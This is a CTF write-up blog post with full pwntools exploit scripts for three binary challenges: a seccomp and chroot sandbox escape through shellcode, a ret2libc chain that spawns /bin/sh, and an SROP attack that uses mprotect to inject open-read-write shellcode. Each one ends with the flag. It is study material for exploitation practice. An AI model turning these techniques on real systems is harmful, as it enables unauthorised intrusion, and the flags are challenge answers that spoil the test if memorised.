Summary

This post contains quick writeups for some of the challenges I solved during the Cybertek CTF.


babysandbox

Dockerfile
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y \
    socat \
    && rm -rf /var/lib/apt/lists/*

RUN useradd -m ctf

WORKDIR /home/ctf

COPY main /home/ctf/main
COPY flag.txt /home/ctf/flag.txt

RUN chmod +x /home/ctf/main && chmod 444 /home/ctf/flag.txt

USER ctf

EXPOSE 1333

CMD ["socat", "TCP-LISTEN:1333,reuseaddr,fork", "EXEC:/home/ctf/main"]
C
unsigned __int64 challenge()
{
  void *buf; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+8h] [rbp-28h]
  char path[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("----------------Welcome to BABYSANDBOX----------------");
  puts("I invite you to upload a custom shellcode to do whatever you want");
  puts("Well whatever we agree on");
  strcpy(path, "/tmp/jail-XXXXXX");
  mkdtemp(path);
  chroot(path);
  chdir("/");
  putchar('>');
  buf = mmap((void *)0x1337000, 0x1000u, 7, 0x22, 0, 0);
  read(0, buf, 0x1000u);
  v2 = seccomp_init(0);
  seccomp_rule_add(v2, 0x7FFF0000, 2, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0x28, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0x53, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0x50, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0xA1, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 4, 0);
  seccomp_rule_add(v2, 0x7FFF0000, 0x3C, 0);
  puts("Executing shellcode!\n");
  seccomp_load(v2);
  ((void (*)(void))buf)();
  seccomp_release(v2);
  return v4 - __readfsqword(0x28u);
}

This is a basic sandbox that chroots into /tmp/jail and then changes the current working directory to root. It blocks all syscalls except {open, read, sendfile, mkdir, chdir, chroot, stat, exit}

User input gets read in and executed.

Strategy

  • Create a new directory (syscall 0x53) and chroot into it, but skip changing to root so we can use .. to go up directories and reach ../../home/ctf/flag.txt
  • Then use open (0x2), read (0x0), and sendfile (0x28) to read and print the flag
  • Done
Python
from pwn import*

elf = context.binary = ELF('./main')
p = process()

payload = asm("""
    mov rax, 0x53
    mov rdi, 0x41                   /* directory ./A */
    push rdi
    mov rdi, rsp
    mov rsi, 777
    syscall

    mov rax, 0xa1
    syscall

    mov rax, 0x2
    mov rdi, 0x007478742e67616c
    push rdi
    mov rdi, 0x662f6674632f656d
    push rdi
    mov rdi, 0x6f682f2e2e2f2e2e
    push rdi
    mov rdi, rsp                    /* points to ../../home/ctf/flag.txt */
    xor rsi, rsi
    xor rdx, rdx
    syscall

    cmp rax, 0
    jge flag_opened
    mov rdi, rax
    neg rdi
    mov rax, 60
    syscall

flag_opened:
    mov rdi, 0x1
    mov rsi, rax
    mov rdx, 0x0
    mov r10, 0x50
    mov rax, 0x28
    syscall
""")

p.send(payload)
p.interactive()

Securinets{3e299c7914cee8be389036792c3d8a40536de5fffdba33bb9fcffe3c}


recall

checksec
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)
RUNPATH:  b'.'
Stripped: No
C
int setup()
{
  int result; // eax

  setresgid(0, 0, 0);
  setresuid(0, 0, 0);
  setvbuf(stdin, 0, 2, 0);
  result = setvbuf(_bss_start, 0, 2, 0);
  SET = 0;
  return result;
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  if ( SET != 1 )
    exit(1);
  setup(argc, argv, envp);
  fflush(_bss_start);
  puts(" Welcome to the recall service! ");
  puts("Enter your name: ");
  fflush(_bss_start);
  gets(v4);
  printf("Hello, %s\n", v4);
  return fflush(_bss_start);
}

This is a basic ret2libc with a simple twist: main can only run once (supposedly) and exits if you ret2main by checking if SET has changed (which it does in the setup() function)

Strategy

  • Leak libc with puts
  • Call gets(&SET) to reset it to \x01
  • Ret2main
  • Call system(b'/bin/sh')
Python
from pwn import*

elf = context.binary = ELF('./recall')
libc = ELF('./libc.so.6')
rop = ROP(elf)
p = process()


pop_rdi = 0x401219
SET = 0x404010

payload = (b'A' * 0x28
           + p64(pop_rdi)
           + p64(elf.got.puts)
           + p64(elf.sym.puts)
           + p64(pop_rdi)
           + p64(SET)
           + p64(elf.sym.gets)
           + p64(elf.sym.main)
           )

p.clean()
p.sendline(payload)

p.recvline()
libc.address = u64(p.recvline().strip().ljust(0x8, b'\x00')) - libc.sym.puts
log.success("leaked libc: " + hex(libc.address))

sleep(0.5)
p.sendline(b'\x01')

payload = (b'B' * 0x28
           + p64(0x401219)
           + p64(next(libc.search(b'/bin/sh\x00')))
           + p64(libc.sym.system)
           )

sleep(0.5)
p.sendline(payload)

p.interactive()

Securinets{Always_reC1ll_Before_Plt!!}


SROwave

x86asm
0000000000401000 <_start>:
  401000:	48 b8 5d 10 40 00 00 	movabs rax,0x40105d
  401007:	00 00 00
  40100a:	50                   	push   rax
  40100b:	b8 01 00 00 00       	mov    eax,0x1
  401010:	bf 01 00 00 00       	mov    edi,0x1
  401015:	48 8d 34 25 00 20 40 	lea    rsi,ds:0x402000
  40101c:	00
  40101d:	ba 46 00 00 00       	mov    edx,0x46
  401022:	0f 05                	syscall
  401024:	b8 01 00 00 00       	mov    eax,0x1
  401029:	bf 01 00 00 00       	mov    edi,0x1
  40102e:	48 8d 34 25 46 20 40 	lea    rsi,ds:0x402046
  401035:	00
  401036:	ba 12 00 00 00       	mov    edx,0x12
  40103b:	0f 05                	syscall
  40103d:	48 83 ec 40          	sub    rsp,0x40
  401041:	b8 00 00 00 00       	mov    eax,0x0
  401046:	bf 00 00 00 00       	mov    edi,0x0
  40104b:	48 89 e6             	mov    rsi,rsp
  40104e:	ba 00 02 00 00       	mov    edx,0x200
  401053:	0f 05                	syscall
  401055:	48 31 f6             	xor    rsi,rsi
  401058:	48 83 c4 40          	add    rsp,0x40
  40105c:	c3                   	ret

000000000040105d <exit_syscall>:
  40105d:	b8 3c 00 00 00       	mov    eax,0x3c
  401062:	48 31 ff             	xor    rdi,rdi
  401065:	0f 05                	syscall
  401067:	58                   	pop    rax
  401068:	c3                   	ret
vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA

             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000      0 main
          0x401000           0x402000 r-xp     1000   1000 main
          0x402000           0x403000 r--p     1000   2000 main
    0x7ffff7ff9000     0x7ffff7ffb000 r--p     2000      0 [vvar]
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000      0 [vvar_vclock]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000      0 [vdso]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

The binary has a buffer overflow with no stack canary or PIE, plus syscall instructions that enable SROP. The issue is there's no /bin/sh in the binary and no writable region to put it.

Strategy

  • Use mprotect to change protections on the executable region and get write permission on it
  • Instead of doing the traditional execve('/bin/sh') with a SigreturnFrame we can inject shellcode directly into the executable region of the binary right after the read syscall so we override the remaining instructions and resume execution into our open-read-write flag.txt
  • gg in 1 rt_sigreturn syscall
Python
from pwn import*

elf = context.binary = ELF('./main')
p = process()

frame = SigreturnFrame()
frame.rdi = 0x401000
frame.rsi = 0x1000
frame.rdx = 0x7     /* read | write | exec */
frame.rax = 0xa
frame.rip = 0x40103b
frame.rsp = 0x401055 + 0x40

payload = (
        b'A' * 0x40
        + p64(0x401067)
        + p64(0xf)
        + p64(0x40103b)
        + bytes(frame)
        )

sleep(0.5)
p.sendline(payload)

shellcode = asm("""
    mov rax, 2
    xor rsi, rsi
    push rsi
    xor rdx, rdx
    push rdx
    mov rdi, 0x7478742e67616c66
    push rdi
    mov rdi, rsp
    syscall

    mov rdi, rax
    mov rax, 0
    lea rsi, [rsp+0x100]
    mov rdx, 100
    syscall

    mov rax, 1
    mov rdi, 1
    lea rsi, [rsp+0x100]
    mov rdx, 100
    syscall
""")

sleep(0.5)
p.sendline(shellcode)

p.interactive()

Securinets{SR0p_1S_C00l_0x1337}